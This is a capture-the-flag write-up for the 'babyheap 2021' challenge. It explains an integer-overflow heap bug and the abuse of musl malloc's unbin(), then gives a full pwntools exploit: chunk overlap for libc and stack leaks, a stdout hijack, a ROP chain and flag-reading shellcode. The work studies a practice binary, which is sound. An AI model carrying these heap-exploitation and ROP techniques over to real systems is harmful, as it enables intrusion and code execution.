Tags: integeroverflow 

Rating:

## babyheap 2021

It uses a `long long` (8 bytes) variable in function `edit()` and a `long` (4 bytes) in function `read_with_index()`.
These two parts lead to integer overflow, so we can choose a special value`0xffffffff` then heap overflow will happen to the program.

```c++
void __fastcall read_with_index(node *ptr, int index, int len)
{
if ( len <= ptr[index].size )
{
printf("Content: ");
read_n(ptr[index].calloc_buf, len);
}
else
{
puts("Invalid Size");
}
}
void __fastcall edit(node *ptr)
{
int index; // [rsp+14h] [rbp-Ch]
__int64 len; // [rsp+18h] [rbp-8h]

printf("Index: ");
index = get_int();
if ( index >= 0 && index <= 15 && ptr[index].used == 1 )
{
printf("Size: ");
len = get_int(); // Heap overflow
if ( len >= 0 )
{
read_with_index(ptr, index, len);
printf("Chunk %d Updated\n", (unsigned int)index);
}
else
{
puts("Invalid Size");
}
}
else
{
puts("Invalid Index");
}
}
```

The program use musl-libc which has few security checks, let us to take a look of the source.
Musl-malloc uses double circular linked list to manage heap, and we can abuse the function `unbin()` to write a heap address in any place.
Also it can illicitly obtain memory that has the write permission by `malloc` with the function `unbin()`.

**musl-1.1.24/src/malloc/malloc.c:188**

```c++
static void unbin(struct chunk *c, int i)
{
if (c->prev == c->next)
a_and_64(&mal.binmap, ~(1ULL<<i));
c->prev->next = c->next;
c->next->prev = c->prev;
c->csize |= C_INUSE;
NEXT_CHUNK(c)->psize |= C_INUSE;
}
```

`Stdout` can be hijack to leak some information, finally we can exploit it.

```python
#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './a'
# sh = process(execve_file); localhost = True ;
sh = remote('111.186.59.11', 11124); localhost = False ;
libc = ELF('./libc.so')
# libc = ELF('/usr/lib/x86_64-linux-musl/libc.so')

def add(size, content):
sh.sendlineafter('Command: ', '1')
sh.sendlineafter('Size: ', str(size))
sh.sendlineafter('Content: ', content)

def edit(index, size, content):
sh.sendlineafter('Command: ', '2')
sh.sendlineafter('Index: ', str(index))
sh.sendlineafter('Size: ', str(size))
sh.sendlineafter('Content: ', content)

def delete(index):
sh.sendlineafter('Command: ', '3')
sh.sendlineafter('Index: ', str(index))

def show(index):
sh.sendlineafter('Command: ', '4')
sh.sendlineafter('Index: ', str(index))

# prepare some chunks
add(0x18, '')
add(0x18, '')
add(0x18, '')
add(0x88, '')
add(0x88, '')
add(0x88, '')
add(0xa8, '')
add(0xa8, '')
add(0xa8, '')
add(0xc8, '')
add(0xc8, '')
add(0xc8, '')

# chunk overlap to leak libc address.
edit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + b'\0' * 0x10 + p64(0x61) + p64(0x61) )
delete(1)
add(0x48, '')
edit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + b'\0' * 0x10 + p64(0x61) + p64(0x61) )
delete(2)
show(1)
sh.recvuntil(': ')
sh.recvn(0x40)

libc_addr = 0
if(localhost == True):
libc_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
else:
libc_addr = u64(sh.recvn(8)) - 0xb0a58 # remote
success("libc_addr: " + hex(libc_addr))

stdout_addr = 0
if(localhost == True):
stdout_addr = libc_addr + libc.sym['__stdout_FILE'] # localhost
else:
stdout_addr = libc_addr + 0xB0280 # remote
success("stdout_addr: " + hex(stdout_addr))

# Write two address which has write permission to build the double circular linked list.
# Then we can get the memory of stdout
edit(0, 0xffffffff, b'\0' * 0x30 + p64(0x41) + p64(0x61) + b'\0' * 0x30 + p64(0x41) + p64(0x41) + p64(stdout_addr - 0x30 - 0x100)[:6])
add(0x18, '')

delete(4)
edit(3, 0xffffffff, b'\0' * 0x90 + p64(0xa1) + p64(0xa1) + p64(stdout_addr - 0x28 - 0x100)[:6])
add(0x88, '') # 4

__stdio_write = 0
if(localhost == True):
__stdio_write = libc_addr + libc.sym['__stdio_write'] # localhost
else:
__stdio_write = libc_addr + 0x5adf0 # remote

libc_buf = 0
if(localhost == True):
libc_buf = libc_addr + libc.sym['buf'] + 8 # localhost
else:
libc_buf = libc_addr + 0xb1908 # remote

add(0x88, '') # 12 , memory of stdout

# Leak stack address by stdout.
edit(12, 0xffffffff, b'\0' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
+ p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(128))
stack_addr = u64(sh.recvn(8)) - 0xd4a98 # localhost
success("stack_addr: " + hex(stack_addr))

# Fix stdout
sh.sendline('2')
sh.sendline('12')
sh.sendline(str(0xffffffff))
sh.sendline( b'\0' * 0x118 + p64(0x45) + p64(0) * 3 + p64(libc_addr + libc.sym['environ'] + 8) * 2 + p64(0) + p64(libc_addr + libc.sym['environ']) + p64(0)
+ p64(__stdio_write) + p64(0) + p64(libc_buf) + p64(0))

# Write two address which has write permission to build the double circular linked list, save as above.
# Get the memory of stack
delete(7)
edit(6, 0xffffffff, b'\0' * 0xb0 + p64(0xc1) + p64(0xc1) + p64(stack_addr + 0xd4a60 - 0x30)[:6])
add(0xa8, '') # 7

delete(10)
edit(9, 0xffffffff, b'\0' * 0xd0 + p64(0xe1) + p64(0xe1) + p64(stack_addr + 0xd4a60 - 0x28)[:6])
add(0xc8, '') # 10

# Rop while obtaining ability of arbitrary code execution
layout = [
libc_addr + 0x0000000000015291, # pop rdi; ret
(stack_addr + 0xd4a60 - 0x28) & (~0xfff),
libc_addr + 0x000000000001d829, # pop rsi; ret
0x2000,
libc_addr + 0x000000000002cdda, # pop rdx; ret
7,
libc_addr + 0x0000000000016a16, # pop rax; ret
21,
libc_addr + 0x0000000000078beb, # dec rax; shr rax, 1; movq xmm1, rax; andpd xmm0, xmm1; ret;
libc_addr + 0x0000000000023720, # syscall; ret
libc_addr + 0x0000000000016a16, # pop rax; ret
stack_addr + 0xd4ab0,
libc_addr + 0x0000000000019f2a, # call rax
]
shellcode = asm('''
mov rax, 0x67616c66 ;// flag
push 0
push rax
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js fail

mov edi, eax
mov rsi, rsp
add rsi, 0x200
push rsi
mov edx, 100
xor eax, eax
syscall ;// read

mov edx, eax
mov eax, 1
pop rsi
mov edi, eax
syscall ;// write

jmp exit

fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write

exit:
xor edi, edi
mov eax, 231
syscall
''')
add(0xc8, flat(layout) + shellcode) # 13
sh.sendlineafter('Command: ', '5')

sh.interactive()
```

Author: www.xmcve.com